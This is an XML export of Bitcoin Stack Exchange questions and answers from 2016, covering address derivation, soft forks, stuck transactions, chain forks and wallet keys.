  <row Id="43540" PostTypeId="2" ParentId="43535" CreationDate="2016-03-29T20:06:51.510" Score="1" Body="&lt;p&gt;It is not &lt;strong&gt;legal tender&lt;/strong&gt;, and there is no one that's forced by law to accept it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a digital token with the properties of money and (with the current state of computation) not possible to forge or to double spend. It is not backed up by anyone, but its users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The users are the ones who give value to it&lt;/em&gt;, and that's because bitcoin is useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently it is a very good way to make quick payments to individuals without bank accounts, can be transferred to anyone, including people that live in countries without support from payment companies (like those that live in countries that cannot accept paypal payments)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is decentralized, meaning that you can't take it down by attacking only one entity. And there is no central authority that can alter the history of bitcoin transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of thinking of it like &lt;em&gt;fiat money&lt;/em&gt;, you should think of it as digital gold, it is scarce, it is expensive to obtain and its value isn't backed by any government, is backed up by people willing to buy it and use it as a currency or a store of value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Obs:&lt;/em&gt; I edited the answer to clarify some points, but the accepted answer in &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/182/where-do-bitcoins-come-from-and-what-gives-them-their-value#answer-185&quot;&gt;this&lt;/a&gt; SE thread could give you a lot more insight on what gives value to it.&lt;/p&gt;&#xA;" OwnerUserId="34132" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2016-03-30T00:37:02.147" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="43541" PostTypeId="2" ParentId="43538" CreationDate="2016-03-29T20:39:06.327" Score="3" Body="&lt;p&gt;Bitcoin Core maintains &lt;a href=&quot;https://github.com/bitcoin/bitcoin/tree/master/doc/bips.md&quot; rel=&quot;nofollow&quot;&gt;a document&lt;/a&gt; with all BIPs that are implemented, including those which establish a soft-forking consensus change. From that list, &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0016.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP16&lt;/a&gt;, &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0030.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP30&lt;/a&gt;, &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0034.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP34&lt;/a&gt;, &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0065.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP65&lt;/a&gt;, and &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0066.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP66&lt;/a&gt; have been soft forking changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the two first years of Bitcoin's history, changes were made more frequently, and much less care was taken that all consensus changes were backward compatible. Most of them probably were, though.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-03-29T20:39:06.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43542" PostTypeId="1" CreationDate="2016-03-29T20:57:07.803" Score="1" ViewCount="139" Body="&lt;p&gt;I am trying to move some of my money from my Credit Card and turn it into Bitcoin. I just want to know if that transaction can be kept anonymous. Will my CC company receive and info of money being taken out. If they do will they know my location. IF so how can I keep it anonymous.&lt;/p&gt;&#xA;" OwnerUserId="34332" LastEditorUserId="5406" LastEditDate="2016-04-01T13:42:32.383" LastActivityDate="2016-04-01T13:42:32.383" Title="How do I keep my transaction from my CC to Bitcoin anonymous" Tags="|exchanges|privacy|buy-bitcoins|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43543" PostTypeId="2" ParentId="43542" CreationDate="2016-03-29T21:20:49.230" Score="1" Body="&lt;p&gt;Not likely, your bank will see whom the funds are sent to and the amount you are spending. After all they do need to send that money to the exchange that you are using to buy and sell on. Also many exchanges have to abide by know-your-customer and anti-money-laundering statutes that apply in the exchange's and your jurisdictions.  In the US buying from an individual with cash is the best way to anonimize your transaction.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2016-03-29T21:20:49.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43544" PostTypeId="2" ParentId="43508" CreationDate="2016-03-29T21:25:40.577" Score="2" Body="&lt;p&gt;After 72 hours the transaction will get purged from the mempool if no miner has picked it up. Try resending the funds and include a transaction fee so that the miners will expedite your transaction. &lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2016-03-29T21:25:40.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43545" PostTypeId="2" ParentId="43536" CreationDate="2016-03-29T21:44:42.700" Score="1" Body="&lt;p&gt;The maximum output amount is the full wallet balance minus any transaction fees, many inputs up to and including all that have a positive balance can be combined to create the utxo set used in the transaction.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2016-03-29T21:44:42.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43546" PostTypeId="1" CreationDate="2016-03-30T02:18:39.270" Score="7" ViewCount="18111" Body="&lt;p&gt;I have read from many sites that an address should change every time a Bitcoin transaction is made. Does the private key change along with the Bitcoin address. How is the address obtained from the public key? Is it the same method of deriving the public key from the private key?&lt;/p&gt;&#xA;" OwnerUserId="34374" LastEditorUserId="5406" LastEditDate="2016-04-01T13:05:54.677" LastActivityDate="2017-06-26T18:23:28.860" Title="Does the private key of Bitcoin change everytime the address changes?" Tags="|address|private-key|public-key|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43547" PostTypeId="2" ParentId="43546" CreationDate="2016-03-30T02:31:11.030" Score="8" Body="&lt;p&gt;If you are posting different questions I suggest, posting them up in different threads. But I'll try to answer all of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) It doesn't work like that. Every address is a pair (private key, public key), the address is made after hashing the public key twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, each address has one private key and private keys are not shared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if in one address you have 1 btc, and you want to send 0.5 btc to some other address, usually the wallet software creates a new address that receives the difference minus the tx fee, that's your change address and any further transaction that spends the funds will spend from that address (the change address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify, address A has 1 btc. You want to send 0.5 btc to some address B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens is, the balance of address A is fully spent into &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;B          (0.5)    &amp;lt;--- amount you want to spend&#xA;C          (0.4999) &amp;lt;--- amount you are left with after spending&#xA;fee        (0.0001) &amp;lt;--- transaction fee on spending B&#xA;A (total)  (1)      &amp;lt;--- original balance. fully spent&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C&lt;/strong&gt; is your change address, and when you spend your coins again you will spend from C and not from A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The Public Key is obtained with one method related to how the way ECDSA works and the address is obtained by another method, mainly it is double hash of the public key that is encoded in a format called base58check as it includes a checksum to ensure that you didn't type the wrong address, also base 58 is designed to eliminate similarly looking characters, like 0 and O or l and I.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) For the last question I'd like to refer you to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/43435/how-are-bitcoins-reassigned/43436#43436&quot;&gt;How are bitcoins reassigned&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34132" LastEditorUserId="48811" LastEditDate="2017-06-26T18:23:28.860" LastActivityDate="2017-06-26T18:23:28.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43548" PostTypeId="1" CreationDate="2016-03-30T02:50:09.387" Score="4" ViewCount="967" Body="&lt;p&gt;I'm learning this as fast as possible for a project. However the documentation, I find is lacking and/or not super super clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, Using BitcoinJ, I would like to know how to do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Create a wallet&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Send bitcoins to an address&lt;/li&gt;&#xA;&lt;li&gt;Receive Bitcoins from an address&lt;/li&gt;&#xA;&lt;li&gt;Synchronize the transaction with the wallet I have on disk.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For now, simply understanding how to CREATE the wallet. This involves the seed, etc... Ideally this can be via the WalletAppKit. But I'd like to learn either way of doing this as well. I know I can simply do: Wallet wallet = new Wallet(); BUT this feels inadequate. I should be providing it a seed or something more, which I'd be keeping private. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added steps 2,3,4 above as these will be the other questions I need information on as I progress. For example, We'll say I already have a wallet. My app is offline, I then use an exchange and buy 1 bitcoin. When I start my app. How do I &quot;synchronize&quot; my wallet I have on disk, with the transaction that was performed. Thus Steps 3 and 4 might work hand in hand, since i'm receiving the bitcoins via &quot;synchronizing&quot;, it means i'm receiving the bitcoins into my wallet which will then be saved to disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I know the answer on how to properly create the Wallet. I'll be curious what's the right way to send bitcoins to another address. Ie: WalletAppKit.wallet().SendTo, Should I be creating a transaction, or etc etc... But these can all be answered once I figure out the proper way for step 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if this is a bit more concise, and more detailed a question :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks :D&lt;/p&gt;&#xA;" OwnerUserId="34376" LastEditorUserId="34376" LastEditDate="2016-04-02T20:26:52.150" LastActivityDate="2016-04-02T20:26:52.150" Title="BitcoinJ - How to Create a wallet properly. (seeds, etc...)" Tags="|bitcoinj|" AnswerCount="0" CommentCount="3" ClosedDate="2016-04-01T13:02:37.753" ContentLicense="CC BY-SA 3.0" />
  <row Id="43549" PostTypeId="1" CreationDate="2016-03-30T09:40:31.880" Score="5" ViewCount="7472" Body="&lt;p&gt;I have an old MultiBit wallet (v. 05.16) and within the last month I have experienced delays when transferring bitcoin.  Some transfers have been seen by 2 peers and some by 6 peers, but none have gone through. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of those transactions was &lt;code&gt;f0ecb670ba640eeff7762c63c2e220ec469180feb08305e1af64c271530e8a2e0&lt;/code&gt;: Seen by 10 peers. Pending/unconfirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you provide any troubleshooting advice? Can I reverse or cancel the transaction?&lt;/p&gt;&#xA;" OwnerUserId="34384" LastEditorUserId="5406" LastEditDate="2016-04-01T12:09:57.753" LastActivityDate="2017-12-29T19:04:13.080" Title="Transactions seen by peers, but not confirming" Tags="|multibit|unconfirmed-transactions|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="43550" PostTypeId="1" CreationDate="2016-03-30T15:47:24.170" Score="2" ViewCount="743" Body="&lt;p&gt;I plan to analyze blockchain branches to satisfy my own curiosity: how often do they occur, are they increasing in frequency, etc. To clarify my earlier mistaken terminology: I am talking about &quot;garden variety&quot; blockchain branches that occur when two miners succeed in mining a new block &quot;at the same time.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I find a record of blockchain branches? I'd love to find a handy webpage with the data, though I am running a full node if someone can walk me through generating the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance! Bruce&lt;/p&gt;&#xA;" OwnerUserId="32294" LastActivityDate="2016-03-30T21:28:13.487" Title="Where can I find records of blockchain branches?" Tags="|blockchain|blockchain-fork|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43551" PostTypeId="2" ParentId="43550" CreationDate="2016-03-30T17:32:53.163" Score="3" Body="&lt;p&gt;There may be websites that index them, however, as blocks only get propagated once they get accepted as new best chain, such branches don't get relayed universally, and every node on the network can get a different view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Core can be queried for known branches through the &lt;code&gt;getchaintips&lt;/code&gt; RPC command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the output on my node is currently:&#xA;&lt;code&gt;&#xA;  {&#xA;    &quot;height&quot;: 405040,&#xA;    &quot;hash&quot;: &quot;0000000000000000030014f0c61351fe2f9e744d4d1c111cca03c94b7dc831f0&quot;,&#xA;    &quot;branchlen&quot;: 0,&#xA;    &quot;status&quot;: &quot;active&quot;&#xA;  }, &#xA;  {&#xA;    &quot;height&quot;: 404812,&#xA;    &quot;hash&quot;: &quot;0000000000000000010f42545dadcf1262ceebcade6629b16282eb59265c937d&quot;,&#xA;    &quot;branchlen&quot;: 1,&#xA;    &quot;status&quot;: &quot;valid-fork&quot;&#xA;  }, &#xA;  {&#xA;    &quot;height&quot;: 404548,&#xA;    &quot;hash&quot;: &quot;0000000000000000010edc4bee21e25e976eb0515da5740d54d060d1579479fa&quot;,&#xA;    &quot;branchlen&quot;: 1,&#xA;    &quot;status&quot;: &quot;valid-fork&quot;&#xA;  }, &#xA;  {&#xA;    &quot;height&quot;: 404145,&#xA;    &quot;hash&quot;: &quot;0000000000000000014fc67e896071d9cc5345fea4d04795ff6ee8f9ae142268&quot;,&#xA;    &quot;branchlen&quot;: 1,&#xA;    &quot;status&quot;: &quot;valid-fork&quot;&#xA;  }, &#xA;  {&#xA;    &quot;height&quot;: 404120,&#xA;    &quot;hash&quot;: &quot;000000000000000002119743ab5f8bb12f5008373d3fb7dda9be82295cfa12d3&quot;,&#xA;    &quot;branchlen&quot;: 1,&#xA;    &quot;status&quot;: &quot;valid-headers&quot;&#xA;  },&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means the the currently active branch has 405040 blocks, but there are 1-long branches forking off at heights 404811, 404547, 404144, and 404119, so my node did observe 4 such forks in the past week. &lt;code&gt;valid-fork&lt;/code&gt; means that my node discovered the branch was abandoned after fully downloading and verifying it. &lt;code&gt;valid-headers&lt;/code&gt; means that it received the header, but was aware of a better branch beforehand.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2016-03-30T21:28:13.487" LastActivityDate="2016-03-30T21:28:13.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43552" PostTypeId="1" CreationDate="2016-03-30T23:20:26.873" Score="0" ViewCount="101" Body="&lt;p&gt;In order to mine bitcoin, a node needs to have all 60+ GB of blockchain data and read them for every transaction? Or exists a more efficient way to mine blocks? &lt;/p&gt;&#xA;" OwnerUserId="34259" LastActivityDate="2016-03-31T07:26:22.783" Title="How mining works?" Tags="|mining-theory|" AnswerCount="1" CommentCount="1" ClosedDate="2016-04-10T17:17:39.833" ContentLicense="CC BY-SA 3.0" />
  <row Id="43554" PostTypeId="1" AcceptedAnswerId="43555" CreationDate="2016-03-31T02:23:40.837" Score="4" ViewCount="798" Body="&lt;p&gt;From the wiki page &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses&lt;/a&gt; the example of &quot;How to Create Bitcoin Address&quot; shows the SHA256 of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0450863AD64A87AE8A2FE83C1AF1A8403CB53F53E486D8511DAD8A04887E5B23522CD470243453A299FA9E77237716103ABC11A1DF38855ED6F2EE187E9C582BA6 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;600FFE422B4E00731A59557A5CCA46CC183944191006324A447BDB2D98D4B408&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use this online tool &lt;a href=&quot;http://www.xorbin.com/tools/sha256-hash-calculator&quot; rel=&quot;nofollow&quot;&gt;http://www.xorbin.com/tools/sha256-hash-calculator&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get: 32511e82d56dcea68eb774094e25bab0f8bdd9bc1eca1ceeda38c7a43aceddce&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something? &lt;/p&gt;&#xA;" OwnerUserId="31581" LastActivityDate="2019-03-08T09:38:23.513" Title="Is the SHA256 value in the bitcoin address wiki accurate?" Tags="|sha256|address-generation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43555" PostTypeId="2" ParentId="43554" CreationDate="2016-03-31T03:26:56.580" Score="10" Body="&lt;p&gt;The problem is that you're treating the pubkey as string data. What you need to do is treat it as raw binary hexadecimal. If you use &lt;a href=&quot;http://www.fileformat.info/tool/hash.htm?hex=0450863AD64A87AE8A2FE83C1AF1A8403CB53F53E486D8511DAD8A04887E5B23522CD470243453A299FA9E77237716103ABC11A1DF38855ED6F2EE187E9C582BA6&quot;&gt;fileformat.info&lt;/a&gt; and calculate it using Binary Hash hex bytes you do indeed get &lt;code&gt;600FFE422B4E00731A59557A5CCA46CC183944191006324A447BDB2D98D4B408&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="963" LastActivityDate="2016-03-31T03:26:56.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43556" PostTypeId="1" CreationDate="2016-03-31T05:38:33.163" Score="0" ViewCount="222" Body="&lt;p&gt;I'm trying to figure out how to get the last block hash using &lt;code&gt;bitcoin-cli&lt;/code&gt;.  I read the help:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli help&#xA;== Blockchain ==&#xA;getbestblockhash&#xA;getblock &quot;hash&quot; ( verbose )&#xA;getblockchaininfo&#xA;getblockcount&#xA;getblockhash index&#xA;getchaintips&#xA;getdifficulty&#xA;getmempoolinfo&#xA;getrawmempool ( verbose )&#xA;gettxout &quot;txid&quot; n ( includemempool )&#xA;gettxoutproof [&quot;txid&quot;,...] ( blockhash )&#xA;gettxoutsetinfo&#xA;verifychain ( checklevel numblocks )&#xA;verifytxoutproof &quot;proof&quot;&#xA;&#xA;== Control ==&#xA;getinfo&#xA;help ( &quot;command&quot; )&#xA;stop&#xA;&#xA;== Mining ==&#xA;getblocktemplate ( &quot;jsonrequestobject&quot; )&#xA;getmininginfo&#xA;getnetworkhashps ( blocks height )&#xA;prioritisetransaction &amp;lt;txid&amp;gt; &amp;lt;priority delta&amp;gt; &amp;lt;fee delta&amp;gt;&#xA;submitblock &quot;hexdata&quot; ( &quot;jsonparametersobject&quot; )&#xA;&#xA;== Network ==&#xA;addnode &quot;node&quot; &quot;add|remove|onetry&quot;&#xA;getaddednodeinfo dns ( &quot;node&quot; )&#xA;getconnectioncount&#xA;getnettotals&#xA;getnetworkinfo&#xA;getpeerinfo&#xA;ping&#xA;&#xA;== Rawtransactions ==&#xA;createrawtransaction [{&quot;txid&quot;:&quot;id&quot;,&quot;vout&quot;:n},...] {&quot;address&quot;:amount,...}&#xA;decoderawtransaction &quot;hexstring&quot;&#xA;decodescript &quot;hex&quot;&#xA;getrawtransaction &quot;txid&quot; ( verbose )&#xA;sendrawtransaction &quot;hexstring&quot; ( allowhighfees )&#xA;signrawtransaction &quot;hexstring&quot; ( [{&quot;txid&quot;:&quot;id&quot;,&quot;vout&quot;:n,&quot;scriptPubKey&quot;:&quot;hex&quot;,&quot;redeemScript&quot;:&quot;hex&quot;},...] [&quot;privatekey1&quot;,...] sighashtype )&#xA;&#xA;== Util ==&#xA;createmultisig nrequired [&quot;key&quot;,...]&#xA;estimatefee nblocks&#xA;estimatepriority nblocks&#xA;validateaddress &quot;bitcoinaddress&quot;&#xA;verifymessage &quot;bitcoinaddress&quot; &quot;signature&quot; &quot;message&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And trying something like &lt;code&gt;bitcoin-cli getbestblockhash&lt;/code&gt; doesn't seem to print a hash that matches up with &lt;a href=&quot;https://blockchain.info/q/latesthash&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/q/latesthash&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I'm not seeing a good option, did I miss something?&lt;/p&gt;&#xA;" OwnerUserId="6888" LastActivityDate="2016-04-02T02:24:12.100" Title="Getting the lasthash on a bitcoin full node using bitcoin-cli" Tags="|full-node|bitcoin-cli|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="43557" PostTypeId="2" ParentId="43552" CreationDate="2016-03-31T07:26:22.783" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;In order to mine bitcoin, a node needs to have all 60+ GB of blockchain data &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. But if it wants to include transactions in its blocks, it has to know which transactions are valid and which aren't.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;and read them for every transaction? Or exists a more efficient way to mine blocks?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Typically, you process all that data once, maintaining an efficient, indexed database of unspent transaction outputs (UTXOs). You can tell if a transaction is valid by (in addition to the other needed checks) just checking its inputs against your UTXO database. You don't need to go fishing through 60GB of raw, unindexed data.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2016-03-31T07:26:22.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43558" PostTypeId="1" AcceptedAnswerId="43559" CreationDate="2016-03-31T19:08:30.030" Score="1" ViewCount="268" Body="&lt;p&gt;Apart from the limited transaction size in MB, which theoretically limits the maximum amount of money a transaction can handle, is there any standardized bound?&lt;/p&gt;&#xA;" OwnerUserId="34135" LastActivityDate="2016-04-02T13:07:57.907" Title="Is there a maximum amount of money a transaction can handle?" Tags="|standard|money-transfer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43559" PostTypeId="2" ParentId="43558" CreationDate="2016-03-31T19:18:05.400" Score="2" Body="&lt;p&gt;There is no limit on the per-input, per-output, fee, or total amount transacted, apart from the fact that all numbers need to be valid BTC amounts (which means not less than 0 and not more than 21M BTC).&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-03-31T19:18:05.400" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43560" PostTypeId="1" CreationDate="2016-03-31T22:05:17.907" Score="9" ViewCount="4194" Body="&lt;p&gt;Assuming I spent 1BTC, then waited a few months and then spent it again. How is this detected? Do the miners go through the entire blockchain to assure the coin was never spent before?&lt;/p&gt;&#xA;" OwnerUserId="34424" LastActivityDate="2016-10-11T15:26:23.060" Title="How do miners detect double-spending?" Tags="|doublespend|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43561" PostTypeId="2" ParentId="43560" CreationDate="2016-03-31T22:14:01.347" Score="4" Body="&lt;p&gt;Yes, they do. Mining software indexes the blockchain database so that lookups like this are relatively quick (that is, they don't have to laboriously search through gigabytes of transactions).&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2016-03-31T22:14:01.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43562" PostTypeId="2" ParentId="10486" CreationDate="2016-04-01T04:08:34.243" Score="-2" Body="&lt;p&gt;As per considering mining of any cryptocurrency is calculated by increasing hash rate and difficulty and decreasing block rewards. So time prediction of final block mining is 2145.&lt;/p&gt;&#xA;" OwnerUserId="34430" LastEditorUserId="34430" LastEditDate="2016-04-01T04:44:16.503" LastActivityDate="2016-04-01T04:44:16.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43564" PostTypeId="1" CreationDate="2016-04-01T09:55:45.840" Score="1" ViewCount="690" Body="&lt;p&gt;Help,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to staking using crypto currency wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have download the Dogecoin Core Wallet 1.10 and the Encrypt Wallet Option is greyed out. How can I encrypt this wallet for staking please? I have other wallets for other crypto currencies that are all staking fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Declan&lt;/p&gt;&#xA;" OwnerUserId="34434" LastActivityDate="2016-07-30T18:48:56.117" Title="Dogecoin Core Wallet 1.10 - Help - Encrypt Wallet Option not available to allow staking" Tags="|dogecoin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43565" PostTypeId="1" AcceptedAnswerId="43575" CreationDate="2016-04-01T11:05:23.953" Score="0" ViewCount="1500" Body="&lt;p&gt;I've been trying to write my own merkle root script in PHP to help with my own understanding, but I've always struggled with recursion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've managed to write the function that will hash pairs of TXIDs, but I don't know how to make it keep calling itself so that I end up with only one hash left in the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/1C6sSbeE&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/1C6sSbeE&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24926" LastActivityDate="2016-04-01T19:02:19.763" Title="How can I make this PHP merkle root script recursive?" Tags="|php|merkle-tree|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43567" PostTypeId="2" ParentId="43549" CreationDate="2016-04-01T12:05:50.973" Score="3" Body="&lt;p&gt;Okay, some observations: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;MultiBit Classic 5.16 is more than two years old.&lt;/li&gt;&#xA;&lt;li&gt;The transaction you mentioned doesn't appear on either blockexplorer.com, blocktrail.com or blockchain.info. It seems that they didn't get propagated in the network.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin transaction market has evolved in the past two years and due to a higher demand, the transaction fees have become more competitive. I would guess that your old version of MultiBit wouldn't have a good estimation for fees. Therefore, it seems likely that your transactions didn't fulfill the 'minimum relay fee' criterion and didn't get relayed by the peers that did see them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this FAQ that addresses specifically your issue: &lt;a href=&quot;https://multibit.org/en/help/v0.5/help_support_sentBitcoinFromMultibitButTheyAreStuck.html&quot; rel=&quot;nofollow&quot;&gt;I sent bitcoin from MultiBit Classic but they are stuck.&lt;/a&gt;, which provides a similar explanation as one of the most likely reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Update your software to a more current version to mitigate this issue in the future.&lt;/li&gt;&#xA;&lt;li&gt;As suggested in the above FAQ: &quot;You can remove the transaction that never propagated by doing a &lt;code&gt;Tools | Reset Block chain and Transactions&lt;/code&gt;.&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As always, if you don't have a backup of your wallet, you should create one, especially before changing things about your Bitcoin software, but also in general.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-04-01T12:16:28.910" LastActivityDate="2016-04-01T12:16:28.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43568" PostTypeId="2" ParentId="43546" CreationDate="2016-04-01T13:40:25.320" Score="9" Body="&lt;h2&gt;You have many private keys&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Quintessentially, &lt;strong&gt;a wallet is a key chain for your private keys&lt;/strong&gt; plus optional convenience and usability functions. When you create a wallet, at least one but usually lots of private keys are generated. E.g. &lt;code&gt;Bitcoin Core&lt;/code&gt; keeps 100 unused private keys in store at all times by default, and whenever you use a new address, this pool of unused keys get topped up again.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;You have a different private key for each address&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;From a private key, you can easily derive the corresponding public key: Together they form an ECDSA key pair on the &lt;code&gt;secp256k1&lt;/code&gt; curve. You cannot easily derive the private key from the public key.&lt;/li&gt;&#xA;&lt;li&gt;The address is then derived from the public key: First you hash the public key with &lt;code&gt;SHA-256&lt;/code&gt;, then you hash the result with &lt;code&gt;RIPEMD-160&lt;/code&gt;. The result is then formatted in Base 58 including a checksum.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Therefore, each private-key only corresponds to one address.&#xA;(Vice versa, each address corresponds to 2^96 private keys, of which any one is sufficient to spend any funds associated with the address, but that doesn't concern us here.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above is true for any wallet that uses unrelated private keys. There is also another scheme which is called &lt;strong&gt;hierarchical deterministic wallet&lt;/strong&gt;: There, you create one &quot;master key&quot; from which you can recreate all following keys deterministically.&lt;br&gt;&#xA;Simplified:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    Master key:     12378925612143&#xA;    key + 1:        12378925612144&#xA;    key + 3:        12378925612146&#xA;    key + 6:        12378925612149&#xA;    key + 10:       12378925612153&#xA;    key + 15:       12378925612168&#xA;    key + 21:       12378925612174&#xA;    key + 28:       12378925612181&#xA;    …&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, if you have the master key, and know the derivation rule, you can recreate the same keys again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is safe, because even when providing a signature, your private key is never revealed, or even when you reveal one out of your chain of private keys, your 